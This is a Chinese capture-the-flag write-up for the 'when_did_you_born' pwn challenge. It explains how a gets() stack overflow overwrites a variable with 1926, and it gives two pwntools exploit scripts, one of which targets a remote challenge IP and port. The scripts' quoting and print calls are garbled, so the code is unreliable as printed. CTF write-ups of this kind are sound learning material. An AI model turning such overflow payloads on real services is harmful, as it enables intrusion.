when_did_you_born-瞟来的wp

Posted zi-chuan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了when_did_you_born-瞟来的wp相关的知识,希望对你有一定的参考价值。

继上文,这次开始嫖when_did_you_born这题。前面的步骤大致是一样的就不赘述了,直接到代码分析。

技术图片

字符串

技术图片

 

 这次呢在main函数处 按下F5进入调试 查看反汇编代码

技术图片

 

 可以清楚的看到它的逻辑一开始不能让它判断出是1926,否则就会出错,接着呢再输入名字后判断是否是1926,是的话就返回flag,否则就出去。

所以里要进行一下溢出操作直接越过第一次的判断。观察代码中的溢出点,发现get(&v5)这个地方可以作为溢出点(get函数没有做任何限制),只需要在输入v5(name)的时候覆盖掉原来的v6的值,替换为1926即可达到目的,cat flag

首先我们查看v5和v6差了多少字节。

技术图片

 

 这里分别双击v5和v6判断位置在哪,

技术图片

 

 这里呢我们在双击v6的时候发现出现在var_8的地方,而v5出现在var_18的位置。可能有些不理解,大家可以这样想,从起始的位置var_20到var_18的位置是v5的所分配的内部空间,既然我想去执行v6的内容那么我们就需要去覆盖掉v5,让程序认为这条路是从var_18开始的。所以这里所要的填充空间就为v5的空间8个字节。

下面是两种方式

from pwn import * 
p=process(when) 
p.sendafter(Your Birth?,str(0)+
) 
p.sendafter( Your Name?,a*8+p64(1926)) 
p.interactive()


#设置目标机的信息,用来建立远程链接,url或ip指明了主机,port设置端口
r = remote("111.198.29.45", 35099)
#设置payload,准备覆盖
payload = ‘a‘* (0x20-0x18) +p64(1926)
#这是接受消息,直到什么停止这样’
r.recvuntil("What‘s Your Birth? ")‘
#发送消息
r.sendline("2000")’
r.recvuntil("What‘s Your Name? ")‘
r.sendline(payload)
printr.recv()
printr.recv()

结果

技术图片

 

 

 知识回顾: 栈溢出 ,在这题看来就是地址覆盖,只要我们找可能执行的位置然后用我们想要的去覆盖掉,就可以执行我们想要的结果。

不要你觉得,我要我觉得。

以上是关于when_did_you_born-瞟来的wp的主要内容,如果未能解决你的问题,请参考以下文章

到处抄来的SUCTF2019 web wp

WP8.1 模仿手机通讯记录的选择框

狂赚310亿美元!安卓系统的钱究竟是怎么来的

WP 8.1 : 通过区域两个字母代码或国家数字代码获取县名

排行代码WP-PostViews

text wp-config代码